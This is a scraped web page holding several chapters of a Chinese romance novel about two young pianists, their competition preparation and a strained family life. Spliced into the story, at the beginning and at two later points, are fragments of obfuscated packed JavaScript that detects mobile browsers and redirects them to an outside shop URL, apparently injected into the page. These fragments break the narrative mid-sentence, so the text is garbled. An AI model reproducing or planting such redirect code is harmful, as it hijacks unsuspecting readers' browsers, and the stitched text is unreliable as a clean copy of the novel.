d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730786|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这纯属巧合!天大的巧合!跟情人节半毛钱关系都没有!我就是想送你个生日礼物!” 她语无伦次,指天发誓。 李寻看着她慌里慌张的样子,终于忍不住笑,一个放松的笑容。 “没关系,”他笑着说,“我知道的。” 我知道你不是故意的。我知道这是巧合。尽管我希望这不是巧合。 梁初灵看着他笑,心里的尴尬平复了一些:“你知道就好,吓死我了。” 李寻小心将乐谱重新包好,丝带也原样系上。 “谢谢,礼物我很喜欢。非常喜欢。” 梁初灵被他看得有点不自在,胡乱点点头:“喜欢就行!我小时候学琴,有一次老师给我看她写的曲子,我很喜欢!但我一直没说话,结果她吓得大气不敢喘!喜欢就要放在最前面说你知道吗!不然给别人带来的心里压力太大了!” 李寻听完点点头表示自己知道了,然后不经意地问:“那时候你几岁?在哪位老师那里?上的是什么课?” 梁初灵聊起这个那就不紧张了,上下左右说个没完。 李寻一点点引导着她讲述过去的碎片。那些开心的,难过的,尴尬的童年往事。 他想了解更多,十六岁之前、他认识她之前、他没经历过的梁初灵的往事。 引诱梁初灵讲述过去,并不困难。 她本身就有旺盛的分享欲,只是缺少听众。 一点一滴,他拼凑出她的童年图景,她的喜悦,她的委屈,她的倔强。 手机相册里也开始堆起截图和照片,每一张都跟梁初灵有关。是他试图弥补缺席的证明。 二月的风还带着凛冽,但李寻提前窥见了春天的暖意。 春天染绿枝头时总是试探,李寻此刻也在试探。 他伸手在自己脖子上解下一条银链子,底下坠着个东西。 把链子拿在手里,递到梁初灵面前。 是一个玉坠。柔和、浅,显得清醒明白——清醒明白,却并不清白。 被雕成了一个葫芦状,莹莹如水。 “这个给你。”李寻说。 梁初灵盯着那个玉葫芦,眼睛眨了眨又眨了眨。再傻也知道,肯定不便宜,而且一定有意义! 她双手乱摇:“不行不行!我不能要!太贵重了!” 李寻有点想笑,又耐心解释:“礼尚往来?” “礼尚往来什么啊!我送你的是生日礼物!不行!绝对不行!” 李寻看着她激动的样子,更和煦:“这个玉坠是我六岁的时候外婆送的。葫芦,福禄保平安。我戴着它,也确实没生过什么病。你不是我是你的玄学吗?那我送一个玄学给你。收下吧,求求小天才了。”说完他就笑。 梁初灵恍惚了一下。 她跟李寻说过,自己刚出生时身体不算好,妈女士很紧张,特意去给她求了个玉坠,很普通的水滴状,用红绳系着戴在脖子上。 她戴到六岁。 一次跟妈女士去逛商场,人多,不知道什么时候,玉就被偷走。 就是那一年,她生了一场严重肺炎。 妈女士后来又想去给她再求一个,结果不知道是巧合还是怎么,妈女士自己那段时间也诸事不顺,有个长辈就说,缘分尽了,不要再强求。 缘分尽了,不要再强求。 后来这件事好像就那么过去。妈女士依旧会给她买很多漂亮衣服,昂贵玩具,但再也没有提过玉坠的事。 李寻这条当然不可能是她当初丢的那一条。 但她知道李寻的意思。 他想要填补她生命中那块关于守护的缺失。他想把他的福禄平安分给她。 因为知道,所以紧张。 梁初灵感觉鼻子有点酸,看着安静的玉葫芦,又看看安静的李寻,还是不敢伸手。 “我粗心大意,万一弄丢了怎么办。”她找着借口,声音低下去。 李寻看着她低垂的脑袋,毛茸茸的发顶在阳光下看起来有点可怜。 心里叹了口气:“丢了也没事。我帮你戴上去。” 梁初灵看着李寻靠近,手臂绕过她的脖颈,这个姿势,几乎是一个拥抱。 “好了。”李寻退开一步。 梁初灵伸手摸了摸那个葫芦,迟钝如她,在这一刻也感觉到,有什么东西变得不一样。 她却发现自己词穷。 11. 《帕格尼尼主题狂想曲》 四月了。 北京的春天羞涩,阳光也不够分量,不比有情人,只见等待不见消磨。 琴房小楼里的气氛却比窗外紧绷。 国际大赛的报名系统开放。 预选视频采用线上提交录像的方式。 参赛者必须提交一份总时长在25至40分钟之间的录像,曲目选择需展现选手全面的技术能力和音乐深度。 李炽对此重视,拿出了比平时授课更严苛的架势。 加班加点,为二人各自设计了曲目单。顺序不是随便排,李炽精心安排着起承转合。 “曲子顺序就是你的呼吸,你的叙事。开场要抓人,中间要有层次和对比,结尾要留下余韵。要让评审在四十分钟里,忘记他们是在评判,而是跟着你的音乐走完一段旅程,听懂你要讲的故事。”李炽指着安排对二人说。 光是玛祖卡这一项就够烦人。 这种源自波兰乡村的舞曲,节奏独特,充满了自由速度和音色变化,难把握其神韵。 李炽特意请了一位研究波兰舞曲的老教授来上了几节小课,专门抠玛祖卡的律动和民族风情。 那段时间,小楼里激昂,忧郁,溪流潺潺,暴风骤雨。 梁初灵和李寻像两个练琴机器,除了吃饭睡觉就是泡在琴房。梁初灵每天醒来手指都还在被窝里动。李寻也好不到哪里去。 录制当天。 录音录像团队进驻琴房,调试灯光角度和收音设备。 梁初灵觉得这比现场比赛压力还大。现场的失误可以归咎于状态,录像里的瑕疵会被永久记录,被评审反复审视。 录制过程总有不如意的地方。 等两人最后一遍通过,不仅仅是她们,全程监督的李炽,以及忙碌了几个小时的录制团队,都舒了一口气,共同打完了这场仗。 等提交成功时,梁初灵才感觉卸下了一座大山。 高强度训练的后遗症也开始显现。 梁初灵感觉左右手的手腕和大拇指根都不舒服,脖子也痛。 “手怎么了?”李寻问。 “没什么,就是有点酸。”梁初灵没太在意,练琴的人,谁还没点毛病。 李寻没被她敷衍过去:“手伸出来。” 梁初灵伸出右手。 李寻托住她的手腕,在她手腕内侧和虎口处按了按:“这里?还是这里?痛不痛?” 按到某个点,梁初灵吸了口凉气。 “可能是腱鞘炎前兆。你最近练习强度太大,姿势也有问题。” 梁初灵这才有点慌。 李寻比她更着急,腱鞘炎没法根治。 他找到个手部放松操,强硬要求梁初灵跟着做。还找了个按摩球塞她手里:“没事的时候就捏这个,放松肌肉。” 接下来几天,只要看到她空闲下来,李寻就提醒:“操做了吗?球捏了吗?” 也会检查她的坐姿和手型,纠正习惯。 梁初灵被他管得没脾气,哀嚎着李寻你好烦啊,却又只能乖乖照做。也发现李寻着急起来话会变多。 “你怎么懂这么多?”她一边捏着按摩球一边问。 李寻正在帮她调整谱架高度:“以前练得太狠,自己也差点中招。” 预选赛提交后,妈女士那边也得到消息。 风风火火打来电话:“宝贝儿!听说你们比赛录像交啦?辛苦啦!妈妈订了后天的机票去瑞士,走之前咱们吃顿饭!” 餐厅里,梁初灵心不在焉。 妈女士哟了一声,看着梁初灵的脖颈间。 梁初灵今天穿了件圆领毛衣,脖子上露出来玉坠。 “哪儿来的呀?看着不像你自己会买的东西。” 梁初灵想解释:“这个是李……” “不用跟妈妈汇报!”妈女士打断她,“年轻人嘛,有点小秘密正常!” 妈女士的注意力很快转移,的确不关心这玉坠是哪里来的。 “一会儿妈妈也去给你买点首饰。” “不用了妈妈。”梁初灵拒绝。 她是学生、她要弹琴、她在外面东奔西跑,种种原因,的确不适合也不习惯戴首饰。 商场中庭有一家宠物店,一只只小猫隔着笼子向外招客。 “你看那只猫!多漂亮!”妈女士扯着梁初灵的袖子,“要不要妈妈也给你买一只?陪你解闷?” 白长毛小猫仰起头,伸出爪子,懵懂可怖,白生生的毛发变黄,爪子变脏,蜕为一只脏兮兮的橘猫。 梁初灵脸上的表情淡下去。 那是她四年级时在路上捡到的一只橘猫,给它治病,带它驱虫,打了第一针疫苗。那时候妈女士还在回家的飞机上,不知道家里多了个成员。 一个月后,梁初灵要去外地参加一个合奏团比赛,不得不离家几天。 千叮万嘱,把小猫托付给刚好到家的妈女士,央求她帮忙照顾,记得带去打剩下的疫苗。 妈女士当时答应得很好。 但第二天就忘了关紧大门,小猫跑了出去再也没回来。 梁初灵比赛拿到金奖,兴高采烈回家,只得到一句“忘了”和“跑了”。 妈女士后来说过要赔她一只,买最贵的猫。梁初灵拒绝。 不是自己捡回来的那只,意义就不再。 妈女士见她态度坚决,也就再没提过,仿佛这件事从未发生。 此刻,却又如此自然地问:“要不要买一只?” 好像完全忘记,曾经有过一只小橘猫,曾经有过一个女儿小心翼翼的托付和随之而来的伤心。 “不用了。我现在练琴很忙,没时间照顾。”梁初灵再次拒绝。 橘色的毛发褪去,再次变回那只白长毛,世界纷纷扰扰在它的眼中,缓缓而来。 梁初灵隔着透明塑料板,和这只猫击了个掌。 妈女士的注意力再次被转移,看向旁边的专柜,刚才的提议和多年前的遗忘一样,都只是她兴之所至的一个念头,轻飘飘,不留痕迹。 梁初灵看着母亲那张美丽的脸,世界并不在她脸上。 妈女士吃完饭就离开,准备车带梁初灵但又被拒绝,梁初灵是第三次拒绝妈女士。妈女士依然没往心里去,道别完自行上车。 梁初灵往外走,是个广场,喷泉涌流,人群挤簇如繁花,嚷嚷不休,但花开终谢,人也散流去往四面八方。 这个广场会有许多艺术家提着伙伴——道具、乐器、麦克风、小孩、动物等,来进行表演。不缺人气。 梁初灵送走了一位带着小孩一起弹唱的大叔,又迎来一位背着电子琴的阿姨。 阿姨抱歉地说自己女儿负责弹琴,但是女儿拉肚子了一会儿再来,但是因为她总是这个点唱歌,所以不好迟到,先清唱一首。 唱了首草原歌曲。 一些快乐的人们随之舞动,空气溢满神奇,神奇在于轻快的舞曲能让一些人感到兴奋和快乐,却也能让一些人感到沉重和曲折。 唱完一首,阿姨的女儿还没来,阿姨发了条消息,打算着再说点什么安抚观众。 梁初灵悄悄过去拍了拍阿姨的肩膀,问:“我先替您女儿帮忙弹一首吧,什么歌呀?” 阿姨惊讶后跟着惊喜,惊喜完又变为羞涩,说是一首老情歌,小姑娘你介意吗? 梁初灵心想我介意个屁,嘴里说我怎么会介意呢? 她视奏能力强,找了个谱子,熟悉了熟悉这把琴,演出开始。 有了伴奏的支撑,歌声更圆润。 弹完一首,和阿姨的女儿交班,把位置交还给专业人士。 梁初灵往外退,肩膀也被人拍了一下。 回头,是李寻。 李寻先开口,眼里带笑:“弹得好,小天才。” 梁初灵左看右看,在找最近的便利店,中午吃咸了,现在想喝水。 找到后不由分说拉着李寻的胳膊就往那边去,边走边问:“你刚才是不是说我弹得超级好来着?” 李寻被她拉着走,故意拆台:“‘超级’这两个字是不是你自己加的……” 梁初灵用力晃他的胳膊:“唉呀!咱们二人之间还计较这个!你真是的!唉呀!” 去了便利店,梁初灵拿完水放上收银台,李寻在后面不紧不慢也放了瓶水过去,对着收银员指了指梁初灵:“我俩一起的,她一块儿付。” 梁初灵不敢置信。 收银员瞠目结舌。 李寻:“哎呀,咱们二人之间还计较这个?你真是的。” 梁初灵:…… 她气呼呼往外走,踩得噔噔响,李寻跟在她身后,拿自己手里那瓶刚拧开的水,换走了她手里那瓶还没开的。 梁初灵仰头咕咚咕咚往嘴里灌。一口气瓶子就见底。 豪迈地用手背抹了下嘴角。 李寻看着她牛饮的架势咂舌,没说话,又把刚才从她手里换过来的那瓶水拧开再递过去。 梁初灵接过又是一通猛灌,这次干掉了半瓶。 李寻看着她,语气平淡无波:“真棒啊。” 梁初灵:“……我又棒上了哈?” 李寻笑着问:“一会儿去哪儿?” 梁初灵顾左右而言他:“今晚我家没人。” 李寻:“……?” 他看着她,眼神是询问。 梁初灵也觉得有点突兀,补充道:“我现在没有生病。” 李寻:“……?” 他眼里的疑惑更深,所以呢?真没跟上她的思路。这两句话之间有什么逻辑关系吗? 梁初灵被他连续两个无声的问号 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看她把碗里的哈密瓜挑拣得差不多,李寻拿了把干净勺子,坐在她旁边吃剩下的一大碗没有了哈密瓜的水果捞。 梁初灵看了他一眼,没说什么。 玩了一个半小时,李寻觉得不能再这样下去,好声好气跟她商量:“休息一会儿?手和眼睛都需要休息。” 梁初灵垮下脸。 强制让她休息她肯定不乐意,只能想办法转移她的注意力。 李寻带着点哄劝:“要不要听点有意思的东西?” “什么东西?” “我的音乐日记。” “行啊!”梁初灵立刻爬起来,比他还积极。 两人进了李寻的房间。 这房间对梁初灵来说并不陌生,她每次留宿都是睡在这里。但她从未动过他的书桌和电脑。 李寻打开电脑,点开了文件夹。里面是一个个音频文件,命名非常随意: 【3月雨声】 【校门口的车铃】 【隔壁装修】 李寻把耳机递给她,示意戴上。 梁初灵戴好耳机,李寻点开名为【3月雨声】的那个文件。 先是传来淅淅沥沥的真实雨声,敲打在窗户上,密集柔和。 过了几秒,钢琴音符加入,在模仿雨滴的节奏。 又点开【校门口的车铃】 里面是自行车铃和汽车引擎混合,偶尔会加入一两个钢琴高音。 接着是【隔壁装修】 电钻声和敲击声刺耳。李寻加入的钢琴片段带着实验性,镶嵌在噪音的节奏点上,把装修声当成打击乐来合作。 最后,点开了一个后期整理过的文件,没有具体命名。里面融合了好几种环境音。 雨声、车流、人的笑声。钢琴的音符穿插其间,连贯起伏。 甚至梁初灵听到了来自隔壁房间的钢琴声——是她在练习。 她的演奏,在他这里,也成了城市背景音的一部分,被平等收录,被诗意呈现。 梁初灵坐在李寻的书桌前,戴着耳机一动不动。 她听到了自己从未注意过的世界的旋律。 她的音乐世界是由伟大的作曲家构筑的殿堂,她努力去理解去诠释去征服。 而李寻好像不在乎那些殿堂。 他蹲下身,趴在泥土上,耳朵贴着地面,聆听着世界杂乱无章却生机勃勃的脉搏,然后摘下几个音符,音符长成新的心脏。 她一直知道李寻乐感好,但此刻她才真正明白,他的天赋在哪里。 李寻被她看得有些不自在:“怎么了?” “李寻,你真是个天才!” 12. 《勃兰登堡协奏曲》 好景不常在。 这句话的第一个意思是:梁父回来了。 梁父带着一种试图重新掌控局面的气势,要住回这个他名义上的家。 人还没进家门,旨意先达,给还在外飘着的妈女士打电话,通知她也赶紧回家,天天在外面像什么样子! 自己在外面潇洒的时候,觉得这样客气的家庭氛围正好,互不干涉,各自独立。 现在渴望家庭温暖的时候,就想起这个家原本应当是什么样子。 并不觉得是自己变心太快,只觉身不由己—— 男人总是觉得身不由己。 妈女士接到电话,只嗤笑,对身边人说了句:“准是外面那位把他给踹了,这才想起家里还有老婆孩子。” 一个本来心思就不在家庭上的中年男人,在外受挫,灰溜溜回归,怎么可能是回来奉献爱和温暖的,当然是回来汲取的。 像个吸血鬼,需要这个空间这对母女来填补他受损的自尊和空虚。 吐槽归吐槽,但还是订了最快的航班回来。 回来后,妈女士就拉着女儿说可要做好吃苦的准备了噢。 梁初灵不以为然:“怎么会?爸爸回来不是好事吗?” 心里还暗暗觉得妈女士这是在以自己之心度爸爸之腹!是妈女士自己不希望一家团圆家庭和睦,影响她自己的生活! 梁初灵有着天真得让她自己都脸红的念头:爸爸就是决定了要改头换面、回归家庭。 爸爸回来了,妈妈也回来了。 这个家会变成一个完美完满完善,和别人家一样的家。 往心里深处想,她所认为的别人家——李寻的家,也并不是世俗意义上和别人家。 但她还没法往心里深处想。 妈女士捏了捏梁初灵的脸颊肉:“没关系,你会明白的。”又伸了伸懒腰,“妈妈也想得开,有钱有闲有女儿,他爱演父慈子孝就演吧。” 梁父回来那天,把箱子往门口一扔,对迎上来的张姨说:“把我的西装都熨一遍。”然后把梁初灵从楼上叫下来,“初灵,爸爸回来了,怎么不过来?” 梁初灵下楼叫了声爸。梁父走过来,重重坐在她身边,沙发陷下去一块,长长叹了口气:“还是家里舒服。初灵,给爸爸倒杯水好不好?爸爸头疼。” 这就是梁父归家的开场。 妈女士不意外,过来搂着女儿坐到另一边:“回来了?正好,给我参谋参谋新买的丝巾。” 梁父皱起眉头:“你就知道买这些没用的。” 妈女士不以为意,把丝巾绕在梁初灵脖子上比划:“怎么没用了?看着高兴就是有用处,初灵,你看这个颜色好不好看?” 梁初灵尴尬点头。 晚餐时,梁父没什么胃口,吃了几口就放下,看着梁初灵:“初灵,你看爸爸是不是瘦了?” 梁初灵抬头,看着父亲那张并没什么变化的脸,有点拿不准:“啊?没有吧。有吗?” “有的,爸爸瘦了很多。” 这像是打开了他倾诉的闸门。 “最近公司事情多,烦心。上个项目又亏了钱。有时候想想,这么拼命是为了什么?连个说知心话的人都没有。” 生意场上的烦恼,合作伙伴不靠谱,项目棘手。全世界都在与他为敌。 梁初灵被迫听着,不敢动。爸爸难得对她流露出脆弱,她有点无所适从,但又不知道从哪里安慰起。 感觉怎么说都不对,只能像个鹌鹑一样找着节奏就点点头。 如她并不喜欢吃糖,但别人递过,她就会接。 所以梁父更加感慨地拍拍她的肩:“还是女儿好,是爸爸的贴心小棉袄。你总是很乖,只有你知道爸爸的辛苦。” 又伸手想摸她的头,被梁初灵躲开。他自然不满,“你现在连爸爸都不愿意亲近了?” 妈女士哎呀一声,指着窗外:“快看,那是不是只鸟撞玻璃上了?” 梁初灵抓住空隙:“爸,妈,我吃好了,你们慢慢吃。” 身后梁父:“这孩子……” 妈女士轻飘飘安抚:“随她去吧,弹琴是正事。来,喝汤,这汤炖了一下午呢。” 梁初灵不敢承认自己不想在家里呆着,毕竟几天前希冀爸爸回家的也是她。每天吃完晚饭后她都让司机送她去学校琴房练琴,只说是习惯如此——不算假话,以前她也是跟学校那台钢琴磨合得更好。 路途不远但也奔波,她却觉得放松。 弹琴是正事,但不是梁父的正事,那么就不算正事。 梁初灵放松了两天,梁父以来回跑太辛苦、爸爸心疼为由,让她必须回家练琴。说实在不行把学校琴房那台钢琴买回家,梁初灵没法…… 回家练琴的第一晚,梁父在她练琴时突然推门进来,站在旁边听一会儿,发表高见:“这个地方是不是弹得太轻了?要重一点!有力道!” 梁初灵一脑门问号的把梁父请出去。 请出去半小时后,梁父再次推门而入,举着手机录像:“来,给爸爸弹一段最拿手的,我发给王总看看!他女儿也学琴。” 梁初灵一脑门感叹号的再把梁父请出去。 请出去半小时后,梁父第三次推门而入,端着杯热牛奶:“初灵,别太累,注意身体!” 梁初灵:…… 练完琴出来倒水,看见梁父正拿着她放在茶几上的比赛曲目单翻看,手指在上面点点戳戳。 “这首,”梁父用一种‘虽然我没学过,但我就是很懂’的语气,“气势要足!到时候评委就吃这套!” 梁初灵没吭声,拿了水杯要走,又被拉住谈心。 她真的不解,一个中年男人,怎么能有这么多无处安放的心事! 第二天,梁父本来约了人打高尔夫,结果场地出了人命官司,只能临时取消。心血来潮想当慈父,亲自开车去接女儿下课。到了李炽琴房楼下,没等到梁初灵,却看见她和李寻并肩从旁边的小吃店走出来。 两人手里各拿着一杯饮料,梁初灵正比划着说什么,李寻侧头听着,脸上带着笑意。 回家路上,“那个男生,就是李炽的儿子?”梁父握着方向盘问。 “嗯。”梁初灵不想多谈。 “你每次上课都是跟他一起?” “我们是练琴。”梁初灵强调练琴两个字。 “练琴?他弹得不如你吧?还不是走后门进去的。他长得一看就不是老实弹琴的。我看李炽也是不老实,那能带出什么老实的儿子?搞艺术的有几个是心思正的。”也没意识到把自己女儿也骂了进去。 梁初灵倒是没反应过来也骂了自己,她是不能忍受他这样污蔑李炽和李寻。 李炽老师对她倾囊相授,李寻是给她带来平静的人。 “你凭什么这么说李老师和李寻?你了解她们吗?” “我不需要了解,我看得多了。表面上清高而已。你才多大?知道什么是人心险恶?我告诉你,离那小子远点。” 梁初灵气得发抖:“李炽是我老师,李寻是我朋友!你什么都不知道,就在这里胡说八道!” “我是你爸!我这是为你好,怕你被人骗了!” “为我好就是拿我的生日给你情人的相册当密码吗?你说李炽老师不老实,那我请问你很老实吗?”梁初灵怒火滔天。 梁父的脸色由红转青,由青转白,手背青筋暴起。没料到梁初灵会知道这件事,更没料到她会在此刻戳穿。 “你胡说八道什么!”他维持威严。 “我是不是胡说你心里清楚。”梁初灵争吵到了伤心处,感觉呼吸困难,不自觉地抬起手,握住了脖子上的那个玉坠,冰冰凉,却好像有力量顺着流淌进身体,奇迹般地冷静了一点,“我不管你怎么想,李炽老师和李寻对我很重要。你没有资格侮辱她们。” 车到门口,妈女士等在门口,拉开后座车门,一把把女儿抱下来放在地上,再拍了拍梁初灵的肩膀,语气带着夸张的惊叹:“哎呀宝贝你这黑眼圈重的,今晚跟妈妈睡,我守着你睡,不准熬夜。” 妈女士话插得突兀,偏离了争吵的核心。 梁父一口气堵着,脸色通红,冲着妈女士:“你瞎掺和什么,我在教育孩子!” 妈女士立刻缩回手,做出委屈状:“好了好了,你们父女俩都少说两句。吃饭了。” 没办法,梁父憋着火没法再发,梁初灵也失去了继续争吵的力气。 吃饭时,妈女士费心转换话题,又落回那场国际赛事。梁父被妈女士轻易拿捏,频频点头:“初灵,这次比赛,爸爸可是跟人夸下海口了。你能行的。” 梁初灵突然想刺一下他,说:“是吗?可是我其实很没底欸。” 梁父立刻横眉冷竖:“没底?没底就练啊!花那么多钱培养你,请最好的老师。李炽不都说你有天赋吗?怎么就没底!” 梁初灵懒得回了,埋头苦吃。那根刺扎回自己身上。 到了晚上,梁初灵刚结束与李寻的聊天,正好响起敲门声。 “初灵,睡了吗?”梁父的声音。 梁初灵把手机屏幕扣在桌上:“还没。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730788|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >梁父在她回话之前就已经推门,手里端着一盘水果,梁初灵看了一眼,是张姨切的。梁父放下水果,拉过椅子坐了下来,目光落在她面前的乐谱上。 “还在看谱?别太辛苦。”语气温和得异常,叉起一块芒果递给她,“吃点水果,补充维生素。” 梁初灵没接,她根本不爱吃芒果:“我吃那个哈密瓜。” 梁父不满的把果盘推过去一点让她自己拿:“哈密瓜有什么好吃的。” 梁初灵没理,不知道他这是在玩哪一出。 果然,梁父叹口气,用推心置腹的口吻说:“初灵,爸爸知道,以前忙于工作,陪你的时间少了。是爸爸不对。” “你看现在,爸爸回来了,就是想多弥补你。外面那些人,看着风光,其实没几个真心的。生意场上的应酬,虚与委蛇,爸爸心里也累。只有回到家,看到你,爸爸才觉得踏实。你妈那个人,你也知道,她心思不在家里。”梁父声音压低,带着只有我们父女是一国的暗示,“爸爸能指望的,也就是你了。你懂事优秀,是爸爸最大的骄傲。以后爸爸多陪陪你,你也多跟爸爸说说话,好不好?别总是一个人在房间里,或者总跟些不相干的人待在一起。” 梁初灵放下只咬了一口的哈密瓜:“爸,我有点困了。” 梁父脸上的温情撤下又上场:“好,那你早点休息。爸爸公司后天有个重要酒会,很多合作伙伴都会带家属。你跟爸爸一起去,让他们都看看我梁某的女儿有多优秀。” 没等梁初灵拒绝,他已经带上了门。 梁初灵自然躲不掉那个酒会。被妈女士按着试了好几套礼服,妈女士倒是兴致勃勃。 酒会现场衣香鬓影,觥筹交错。 梁父满面红光,一直带着梁初灵,逢人便介绍:“这是我女儿,初灵,弹钢琴的,现在跟着李炽老师学琴。就是那个那个那个特别厉害的钢琴家!” 大家哦~哦~地应着,脸上是装出来的的惊讶,眼神里并没有太多实质性的了解,对古典音乐圈并不熟悉,也不清楚李炽是谁。只是附和着场面话:“了不起了不起!名师出高徒!梁总您也了不起,虎父无犬女!还得是梁总培养得好!” 梁初灵也不在意,这十分正常,古典音乐圈的大师说实话不会比三线明星来得普适性高。 但一个看起来五十岁上下气质沉静些的叔叔,却突然插话问道:“梁小姐是在李炽那里学钢琴?”他的问话不像其他人只是客套,反而带着点求证的意思。 梁父面色沉着笑了笑点点头,随即看了一眼身边的梁初灵,意思是让她自己来回答这位识货的人。 梁初灵只好对着那位叔叔点点头,应道:“是的,叔叔。” 那位叔叔了然颔首:“我也不太了解你们这个圈子。不过我朋友家有个小孩,弹钢琴也特别厉害,听说最近准备回国发展。之前一次聚餐时,他跟我打听过你。” 信息模糊,大概是想引她发问。但梁初灵心里烦得不行,对什么朋友家的小孩完全提不起兴趣,只觉得又是另一种形式的客套。也跟着客套一句:“哈哈,那很厉害了。” 那位叔叔见她兴趣缺缺,也没再多说,只是笑了笑,便转而与梁父聊起了别的话题。 这个插曲很快被淹没,梁初灵没往心里去,只当是酒会上无数句无用社交对话中的一句。 梁父极为享受这种时刻,揽着女儿肩膀,接受众人赞美,得意太盛,还让梁初灵在现场那架钢琴前弹奏了一段。 中途,梁初灵去洗手间,听到外面走廊传来梁父焦躁的声音,是在打电话。 “你确定?结果出来了?你先别声张,等我处理完这边的事就过去。哄着点,别让她闹。” 梁初灵靠在内墙,外面脚步声远去,她才从洗手间出来。 回到宴会厅,梁父看到她,招手让她过去。梁初灵走过去,看着父亲那张堆满笑意的脸,有点想问是什么结果? 但发问之前,她先在心里问了问自己:我真的想知道吗?我真的好奇吗? 不,并不想知道,并不好奇。 她其实对很多东西都没什么好奇,这被李炽批评过很多次。 其实不是,她也会好奇。 好奇李炽为什么喜欢布伦德尔;为什么选择了教学而不是去发唱片开巡演,为什么要当老师;为什么说现代人再也创造不出古典音乐。 她有好奇的。 好奇李寻为什么对音乐并不崇拜;为什么喜欢草莓;为什么不会生气;为什么会让她有一种雨夜裹着毛毯的感觉。 她好奇的,她有好奇。 13. 《伊比利亚组曲·塞维利亚》 梁父回来还不到两周,梁初灵的烦躁就已经累积到不想回家吃晚饭的程度。 她都被自己想法吓一跳,觉得自己这样是不是跟自己的爹妈没什么区别…… 被外面的世界迷了眼,整天不想回家。 但不回家实在是太快乐,梁初灵心想:我不要当乖孩子了!我本来就不是好人! 不想当乖孩子的梁初灵开始找各种借口不回家吃晚饭,理由都很好找:学校加课,跟同学讨论问题,需要去查曲目资料,在李老师那里加练…… 不回家吃晚饭的借口不计其数。 不回家吃晚饭的真实去处却很单一,找李寻。 一开始倒是没想麻烦李寻,毕竟梁初灵把这归结于家事,那么受家庭影响而引发的事件当然也属于家事。 李寻国外的朋友给他买了个东西,不知道他家里地址,购物软件上填的是他学校地址。 晚上快十点,李寻出门去学校附近的快递柜取件,拿完出来叫车,隔着一条马路的便利店,面向街道的玻璃窗内坐着梁初灵——梁初灵映入玻璃窗,再转映入李寻的眼眸。 分隔开三个世界,显得渺渺茫茫。 天上星子冷淡,面前的关东煮汤热情。 梁初灵一边喝这嘌呤汤,一边翻手边的曲谱。就这样被李寻敲了敲玻璃。 她抬头,李寻带笑的眼睛看着她。 梁初灵鬼使神差,举起那杯嘌呤汤,隔着玻璃向李寻干杯。 在李寻看来,那杯汤是举到了她的眼眸处,遮盖住一只,另一只影影绰绰,“干杯”,他说。 玻璃再度映射出一对并排坐着的少年人。 “这么晚你怎么还在外面晃悠?”梁初灵先发制人。 “这么晚你怎么还在外面吃饭?”李寻拿过她的那杯汤不让她再喝,结账了一瓶酸奶又给她拧开。 梁初灵接过:“不想回家。我爸最近回家住了,你不是知道吗。” 李寻想起第一次见到梁父,也是像刚才那样隔着一秒玻璃,面遇他的荒唐情事。 现在,如果有认识她们的人经过,隔着玻璃,看见她们,想必也是觉得荒唐,大晚上不回家在这里呆坐。 梁初灵不知道是不是也想到了这件事,她从书包里找出湿纸巾——甚至还是李寻以前替她放进去的,抽出一张递给他,“擦一擦,你刚才敲玻璃了”,她知道他爱干净。 李寻接过一根根擦手指,问:“你这些天都没回家?” 梁初灵不明所以:“嗯啊,我等十一点再回家,那会儿我爸睡了。” 李寻来之前她没认真看桌面,此时才发现桌子角落有一盆绿植,她指了指,“那个是什么植物啊?我也想养盆东西,但我养什么死什么。” “绿萝。”李寻压根不想接后面那个话题,但又有问必答,快速回答完立刻重新拽回主路,“那你怎么不跟我说,你一个人在外面不安全。” “有什么不安全的,我就一直在便利店里坐着,写作业、看谱子。这儿有摄像头,安全。” “你怎么不跟我说?”李寻没放过梁初灵没回答的前半句,重复问一遍。 四月底,冷风捎来春信,可春不来。 他觉得有些不高兴,之前不是什么小事都会来找他吗,这样的冷夜,梁初灵一个人呆了多久呢?为什么不告诉他呢? 前天还一起上课,上课的时候也不跟他说。 李寻想起上完课,自己还催促梁初灵快点回家,要下雨了。 梁初灵恹恹地答应,背着包被他送出小楼。 是不是出了小楼后,她就是这样找一家便利店,一个人,等雨来,等雨停。 再一次,李寻再一次感到心疼。 “你也有自己的事情要做啊,时间是很宝贵的,你不要浪费。我也没有浪费,你不要看着我坐在这里,但是我作业也写了曲谱也记了单词也背了,甚至还能练练指法。” 梁初灵说着把十根手指窝在面前的餐桌上,给李寻表演自己真的能在这里练指法。 本来还想说这些是家事,不好跟李寻说,但想到从一开始,就是自己主动把李寻拉入了自己的家事里面。 需要他的时候不说二话,不需要他了却摆明车马,梁初灵说不出口。 何况,自己真的不需要他吗…… “对啊,所以我也不会浪费。我也可以在外面写作业记谱子背单词,甚至我还能搞搞创作。” 李寻说着也从口袋里掏出一个录音设备晃了晃,意为提醒梁初灵自己也真的能说到做到,他录下来的那些声音日记,梁初灵都听过。 梁初灵心安了一些。于是也讲述了自己的心路历程,想要逃离家庭,所以日日夜夜在外游荡,说完还要自我批判一遍,这样好像是不乖的。 “语文课本的文言文里,‘乖’是违背、差异、反常、不顺利的意思。乖是背离本性,你现在是在听从本性,这很好。不愧是小天才,真棒。”李寻撑着头对她笑。 梁初灵现在已经被他夸得免疫,闻言拍拍胸脯,很骄傲的样子。 